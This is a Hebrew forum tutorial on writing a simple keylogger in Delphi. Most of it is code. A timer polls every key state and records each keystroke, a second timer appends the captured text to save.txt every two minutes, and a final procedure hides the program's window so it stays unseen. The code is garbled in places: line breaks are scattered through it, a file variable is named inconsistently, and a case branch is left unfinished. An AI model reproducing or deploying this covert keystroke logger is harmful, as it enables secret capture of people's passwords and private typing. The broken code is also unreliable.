כתיבת KeyLogger ב-Delphi

במדריך הזה אני הולך להסביר איך ליצור קיילוגר פשוט בדלפי

הבנייה!
קודם כל אנחנו נכניס מרכיב בשם Memo ושתי טיימרים. בראשון timer1 במאפיין interval תכניסו 1 ובשני תכניסו 120000.
אני יסביר את החלק הזה....הטימר הראשון הוא האחד שהולך לשמור את כל המקשים שהמשתמש לוחץ בכל מאית שנייה, והשני צריך לשמור את המקשים שלחצתה בתוך קובץ TXT הוא יעשה את זה כל שתי דקות (120,000 מאיות)
הפורם שלנו אמור להיות משהוא כזה


בואו נכתוב את הקוד
בקוד של הטיימר הראשון



קוד PHP:

procedure TForm1.Timer1Timer(Sender: TObject);
var
i: integer
;
Shift: boolean
;
begin
for i:= 8 to 222
do
begin
if GetAsyncKeyState(i)= -32767 then
//This mean that we press a key
begin
//If shift is pressed
if GetKeyState(VK_SHIFT)<
0 then
Shift
:=
True
else
Shift:= False
;

//Begin logging keys
case
i of
8
: memo1.Lines[memo1.Lines.Count-1]:= copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1
);
9: memo1.Text:= memo1.Text+ ` [TAB]`+
#13#10;
13: memo1.Text:= memo1.Text+
#13#10;
17: memo1.Text:= memo1.Text+ ` [CTRL]`+
#13#10;
27: memo1.Text:= memo1.Text+ ` [ESC]`+
#13#10;
32: memo1.Text:= memo1.Text + ` `
;


הסבר:
הכרזנו על משתנה i לכל המקשים שילחצו, ומשתנה shift כדי לבדוק אם המקשים נלחצו עם מקש אחר באותו זמן.
אחרי זה אנחנו מכניסים במשתנה i את הערך הדסימאלי של המקשים שנלחצים.



קוד PHP:

if GetKeyState(VK_SHIFT)<0 then
Shift
:=
True
else
Shift:= False
;


החלק הזה הוא פונקצייה והresult הוא משתנה בוליאני בשביל לדעת את המצב של המקש של shift




קוד PHP:

8: memo1.Lines[memo1.Lines.Count-1]:= copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1);


המספר 8 שייך למקש Delete

נכניס גם את זה:




קוד PHP:

//Keys A-Z (?)
65..90 :
// The : means trough
begin
if ((GetKeyState(VK_CAPITAL))=1)
then
if Shift =
True then
memo1
.text:=memo1.text+LowerCase(Chr(i
))
else
memo1.text:=memo1.text+UpperCase(Chr(i
))
else
if
Shift =
True then
memo1
.text:=memo1.text+UpperCase(Chr(i
))
else
memo1.text:=memo1.text+LowerCase(Chr(i
));
end
;
192
:
begin
if ((GetKeyState(VK_CAPITAL))=1)
then
if Shift =
True then
memo1
.text:=memo1.text+
`?`
else
memo1.text:=memo1.text+
`?`
else
if
Shift =
True then
memo1
.text:=memo1.text+
`?`
else
memo1.text:=memo1.text+ `?`
;
end
;


בטיימר השני נכניס את זה




קוד PHP:

procedure TForm1.Timer2Timer(Sender: TObject);
var
Archivo: TextFile
;
begin
AssignFile
(keys, `save.txt`
);
if
not FileExists(`save.txt`)
then
Rewrite
(keys
);
Append(keys
);
Write(keys, memo1.Text
);
CloseFile(Archivo
);
Memo1.Text:= ``
;
end
;


הפרוצדורה הזאת יוצרת את הקובץ save.txt וכותבת בו את המקשים שנלחצו.


והדבר האחרון שיגרום לקיילוגר להיות פחות גלוי לעיין:




קוד PHP:

procedure TForm1.FormCreate(Sender: TObject);
begin
Application
.ShowMainForm:= False
;
end
;




דסימאל של מקשים לחץ כאן